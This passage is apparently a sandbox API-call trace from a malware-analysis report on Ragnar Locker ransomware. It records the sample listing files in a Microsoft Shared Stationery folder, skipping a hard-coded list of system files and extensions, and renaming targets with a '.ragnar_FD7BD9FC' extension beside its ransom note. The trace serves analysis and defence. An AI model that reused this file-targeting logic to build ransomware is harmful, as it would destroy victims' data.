(lpString1="Psychedelic.jpg", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0ff280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.495] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Roses.htm", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Roses.htm", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Roses.jpg", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Roses.jpg", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Seyes.emf", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Seyes.emf", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Shorthand.emf", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Small_News.jpg", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Stars.htm", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Stars.htm", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Stars.jpg", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Stars.jpg", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Stucco.gif", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Stucco.gif", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="Tiki.gif", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="Tiki.gif", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="..") returned 1 [0068.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0068.496] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".") returned 1 [0068.496] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="..") returned 1 [0068.497] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0068.497] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".") returned 1 [0068.497] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="..") returned 1 [0068.497] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0068.497] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0068.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0068.497] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.497] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0068.497] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.497] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Bears.htm" | out: lpString1="Bears.htm") returned="Bears.htm" [0068.497] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned=".htm" [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="autorun.inf") returned 1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="boot.ini") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="bootfont.bin") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="bootsect.bak") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgr") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgr.efi") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgfw.efi") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="desktop.ini") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="iconcache.db") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="ntldr") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.dat") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.dat.log") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.ini") returned -1 [0068.497] lstrcmpiW (lpString1="Bears.htm", lpString2="thumbs.db") returned -1 [0068.497] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0068.497] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0068.498] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0068.498] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0068.498] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0068.498] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0068.498] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0068.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0068.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.498] CloseHandle (hObject=0xffffffff) returned 0 [0068.498] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" [0068.498] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.ragnar_FD7BD9FC" [0068.498] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.498] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0068.498] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.498] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Bears.jpg" | out: lpString1="Bears.jpg") returned="Bears.jpg" [0068.498] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned=".jpg" [0068.498] lstrcmpiW (lpString1="Bears.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.498] lstrcmpiW (lpString1="Bears.jpg", lpString2="autorun.inf") returned 1 [0068.498] lstrcmpiW (lpString1="Bears.jpg", lpString2="boot.ini") returned -1 [0068.498] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootfont.bin") returned -1 [0068.498] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootsect.bak") returned -1 [0068.498] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootmgr") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootmgr.efi") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootmgfw.efi") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="desktop.ini") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="iconcache.db") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="ntldr") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="ntuser.dat") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="ntuser.dat.log") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="ntuser.ini") returned -1 [0068.499] lstrcmpiW (lpString1="Bears.jpg", lpString2="thumbs.db") returned -1 [0068.499] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0068.499] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0068.499] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.499] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0068.499] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.499] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0068.499] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0068.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0068.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.499] CloseHandle (hObject=0xffffffff) returned 0 [0068.499] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" [0068.499] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.ragnar_FD7BD9FC" [0068.499] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.500] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0068.500] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.500] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Blue_Gradient.jpg" | out: lpString1="Blue_Gradient.jpg") returned="Blue_Gradient.jpg" [0068.500] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned=".jpg" [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="autorun.inf") returned 1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="boot.ini") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="bootfont.bin") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="bootsect.bak") returned -1 [0068.500] lstrcmpiW 